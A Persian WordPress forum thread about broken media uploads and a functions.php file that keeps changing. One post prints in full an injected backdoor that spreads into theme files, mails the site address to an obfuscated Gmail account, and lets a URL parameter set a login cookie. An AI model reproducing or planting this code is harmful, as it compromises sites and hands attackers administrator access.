• اطلاعیه ها

    • Saeed Fard

      آگهی استخدام برنامه نویس و پشتیبان وردپرس   13/12/95

      آگهی استخدام برنامه نویس و پشتیبان وردپرس
       
      2 نفر پشتیبان سایت وردپرسی
      ⁃ آشنا به برنامه نویسی قالب و پلاگین وردپرس 
      ⁃ توانایی راه اندازی سایت، قالب و افزونه های وردپرسی 
      ⁃ توانایی برنامه نویسی PHP در حد متوسط 
      ⁃ اطلاعات عمومی وب بالا 
      ⁃ توانایی پاسخگویی نوشتاری به سوالات انگلیسی با گرامر ساده 
      ⁃ آشنایی با HTML/CSS/jQuery 
      ⁃ دارای روحیه کار تیمی، خلاق، مسئولیت‌پذیر و پشتکار بالا ——— ۲ نفر برنامه نویس قالب وردپرس
      ⁃ تسلط به HTML/CSS/jQuery و Bootstrap
      ⁃ توانایی تبدیل HTML به قالب وردپرس
      ⁃ توانایی برنامه نویسی PHP و پلاگین نویسی وردپرس در حد متوسط
      ⁃ آشنایی به اصول سئو 
      ⁃ آشنایی با Git/subversion مزیت محسوب می‌شود.
      ⁃ دارای روحیه کار تیمی، خلاق، مسئولیت‌پذیر و پشتکار بالا ——— ۱ نفر طراح UI/UX
      ⁃ طراحی خلاقه وب سایت
      ⁃ طراحی با جدیدترین استایل‌های طراحی سایت
      ⁃ مسلط به تایپوگرافی انگلیسی و طراحی وب سایت انگلیسی
      ⁃ انتقاد پذیری و قبول بازخوردهای تیم و مشارکت با دیگر اعضاء تیم برای سرعت بخشیدن به فرایند انجام پروژه
      ⁃ آشنایی و درک HTML/CSS/jQuery
      ⁃ دارای روحیه کار تیمی، خلاق، مسئولیت‌پذیر و پشتکار بالا
      ⁃ امکان همکاری به صورت پروژه‌ای و دورکاری در این موقعیت شغلی فراهم است ——— مزایای کار در مجموعه گرودیا
      ⁃ تجربه ناب کار در سطح یک جهانی
      ⁃ محیط کار بسیار دوستانه و آرام
      ⁃ پرداخت های مناسب و سر وقت
      ⁃ کلاس های آموزشی داخلی به جهت بالا بردن دانایی و توانایی همه اعضا   از علاقه‌مندان و نیازمندان تقاضا می‌شود لطفا رزومه کاری خود را با قید موقعیت شغلی به ایمیل info@grodea.co ارسال نمایید.
    • Morteza

      سال 1396 خورشیدی مبارک   29/12/95

      سال 1396 خورشیدی مبارک
silver21

مشکل بخش آپلود Insert Media

16 پست در این موضوع قرار دارد

تغییری در ساختار سایت ندادم ؛ یک ساعت پیش بدون مشکل یه مطلب ارسال کردم ولی حدود 10 دقیقه پیش زمان ارسال مطلب جدید بخش آپلود تصاویر از کار افتاده و اجازه آپلود نمیده. خبر منتشر میشه ولی آپلود کار نمیکنه و اخطار میده که مجددا سعی کنید.

1.

post-1826-0-28259500-1380539816_thumb.jp

2.

post-1826-0-41344500-1380539832_thumb.jp

حتی فایل آپلود رو تغییر دادم ولی مثل تصویر اخطار میده ؛ سطح دسترسی پوشه آپلود رو هم چک کردم 755 رو روی 777 گذاشتم ؛ نتیجه ای نداد.

ویرایش شده در توسط silver21

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

یه چیزی فهمیدم ؛ آپلود انجام میشه منتهی نمایش داده نمیشه (موارد آپلودی در بخش رسانه وجود داره) ظاهرا در صفحه آپلود دیده نمیشه و چیز دیگه ای که فهمیدم ، داخل سایت یکسری ستاره امتیاز دهی وجود داره که با حرکت موس روشن میشد که اون هم از کار افتاده

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

سلام

این مشکل ظاهرا توی نسخه جدید هست برای خودم هم دوبار پیش اومده

راه‌حلی هم که خودم استفاده کردم این بود که وردپرس رو به جزء فایل کانتنت دوباره روی فایل‌های قبلی بارگذاری کردم و مشکل حل شد ...

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

این مشکل ظاهرا مشکلی هست بی پاسخ؛ تایپیک قدیم منو ببینید که هم نسخه قبل و هم یکی قبلتر هم این مشکلو داشت

ویرایش شده در توسط silver21

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

هر مرضی که داشت از فولدر wp-includes بود.

جواب:

دوستانی که بک آپ از سایت دارن کافی فولدر wp-includes رو پاک کنن و بک آپ رو جایگزین کنند.

دوستانی هم که بک آپ ندارن ، چون کم پیش میاد یا اصلا پیش نمیاد که تغییری تو فولدر wp-includes انجام بدن ، این پوشه رو پاک کنن و از نسخه اولیه فولدرشو بردارن و جایگزین کنن.

ویرایش شده در توسط silver21

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

وقتی 24 ساعت میگذره مجددا این مشکل بوجود میاد ، دقیقتر بگم بعد از آزمون خطا گرفتن متوجه شدم مشکل از پوشه wp-includes و فایل functions.php هست ؛ تا الان 2روزه که این فایلو کپی میکنم ولی روز بعد دوباره مشکل پیدا می کنه و به حجمش هم اضافه میشه ، یکسری مقادیر جدید واردش میشه ! دیگه داره میره رو اعصابم.

ویرایش شده در توسط silver21

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

ممنون از Silver21 عزیز بابت ایجاد و پیگیری تاپیک .

منم در سایتم به این مشکل برخوردم و در نت خیلی سرچ کردم که همشون گفته بودند آپدیت دستی انجام بدید که این کار را با جایگزین کردن تمام پوشه ها به جز کانفیگ و wp-content انجام دادم .

همانطوری که دوستمون اشاره کردند اول حل شد ولی بعد از 24 ساعت مجدد بر میگرده به حالت اول و همون خطا رو میده

واقعاً موندم چیکار کنم هرچی تاپیک بود تو نت خوندم و به نتیجه نرسیدم .

نتیجه اعتماد به وردپرس اینه ؟

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

یه حدسایی به ذهن دارم ، منتهی باید هر بار 24 ساعت صبر کنم ببینم نتیجه میده یا نه که نتیجه داد اینجا قرار میدم ( مشکلات xml ) از چی بوده؛ دلیل اینکه مدیرا پاسخی نمیدنم ...

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

دلیل اینکه مدیرا پاسخی نمیدنم ...

چون اصلا همچین خطایی رو ندیدیم که بخوایم برای رفعش راهنمایی کنیم.

ماشاله همه کانفیگ های سرورهای ایران هم که استاندارد خاصی پیروی میکنن و شبیه به هم هستن!

بنده به شخصه همچین مشکلی تا الان نداشتم

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

مرتضی جان این مساله به کانفیگ سرور مربوط نیست که اگر هست شما بفرمایید از چه موردی هست تا من در سرور چک کنم . این مشکل از ضعف وردپرس هست .

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

من با یکی از پوسته هایی که فارسی کرده بودم این مشکل رو داشتم منتها در لوکال هاست این مشکل وجود نداشت ولی در سرور و هاست آنلاین این مشکل وجود داشت

بعد از کلی کلنجار رفتن فهمیدم مشکل از توابع پوسته بوده و با اطلاح کردن فایل فانکشن مشکل رفع شد

شما فایل فانکشن پوسته خودتون رو قرار بدید تا برسی بشه به احتمال زیاد مشکل از همینه

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

شما فایل فانکشن پوسته خودتون رو قرار بدید تا برسی بشه به احتمال زیاد مشکل از همینه

ممنون میشم فایل فانکشن بنده روهم یه بررسی بکنید

مشکلی مشابه ایشون دارم

Function.php

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

ممنون میشم فایل فانکشن بنده روهم یه بررسی بکنید

مشکلی مشابه ایشون دارم

دوست عزیز مشکل از این توابع هستش وقتی این توابع رو حذف میکنم مشکل رفع میشه

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

if ( function_exists('register_sidebar') )

register_sidebar(array(

'before_widget' => '',

'after_widget' => '</div><div class="wfo"></div>',

'before_title' => '<div class="wtop">',

'after_title' => '</div><div class="wco">',

));

function my_function_admin_bar(){

return false;

}

add_filter( 'show_admin_bar' , 'my_function_admin_bar'); ?>

از اساتید کسی میدونه این توابع برای چی هستن ؟؟

ویرایش شده در توسط Morteza

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

هر تابع اضافه ای که توی فانکشن وجود داره یا بعدا اتوماتیک اضافه میشه رو پاک کنید و دسترسی فایل فانکشن رو پایین بزارید تا دیگه قابل نوشتن نباشه.

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

یک سوال من اصلا با فولدر wp-content و محتویات اون کاری ندارم و بقیه مواردو همشونو از بک آپی که یک ماه پیش داشتم جایگزین میکنم و مشکل برطرف میشه ولی 24 ساعت بعد دوباره به حالت اول برمیگرده ؛ فانکشن درون فولدر wp-includes تغییر حجم میده و حتی قبلا فقط با جایگزین کردن این فایل سایت درست میشد ؛ درحال حاضر باید کل محتویات ( بجز فولدر wp-content ) رو جایگزین کنم تا درست بشه ولی باز هم 24 ساعت نشده به حالت قبل برمیگرده.

سطح دسترسی رو 644 بود گذاشتم 444 باز فایلش تغییر کرد- بخشایی رو با فانکشن قبلی مقایسه کردم دیدم یکسری موارد یک لاین جلو رفته - فانکشنی که در حال حاضر باهاش سایت با مشکل مواجه هستو میذارم : (از فولدر فولدر wp-includes)

functions.php

ویرایش شده در توسط silver21

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

دوست عزیز مشکل از این توابع هستش وقتی این توابع رو حذف میکنم مشکل رفع میشه

از اساتید کسی میدونه این توابع برای چی هستن ؟؟

احتمالا بدافزار روی سرور هست

اگر میتونید وردپرس رو حذف و بعد نصب دستی کنید (بکآپ فراموش نشه)

بعضا بخاطر کدهای وردپرس قدیمی باقی میمونن. معمولای توی نصب جدید از بین میرن.

یک سوال من اصلا با فولدر wp-content و محتویات اون کاری ندارم و بقیه مواردو همشونو از بک آپی که یک ماه پیش داشتم جایگزین میکنم و مشکل برطرف میشه ولی 24 ساعت بعد دوباره به حالت اول برمیگرده ؛ فانکشن درون فولدر wp-includes تغییر حجم میده و حتی قبلا فقط با جایگزین کردن این فایل سایت درست میشد ؛ درحال حاضر باید کل محتویات ( بجز فولدر wp-content ) رو جایگزین کنم تا درست بشه ولی باز هم 24 ساعت نشده به حالت قبل برمیگرده.

سطح دسترسی رو 644 بود گذاشتم 444 باز فایلش تغییر کرد- بخشایی رو با فانکشن قبلی مقایسه کردم دیدم یکسری موارد یک لاین جلو رفته - فانکشنی که در حال حاضر باهاش سایت با مشکل مواجه هستو میذارم : (از فولدر فولدر wp-includes)

شما هاست دیگه ای دارید که این مورد رو تست کنید؟

شاید روی هسات شما هم بدافزار باشه. این مورد روبررسی کردید؟

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری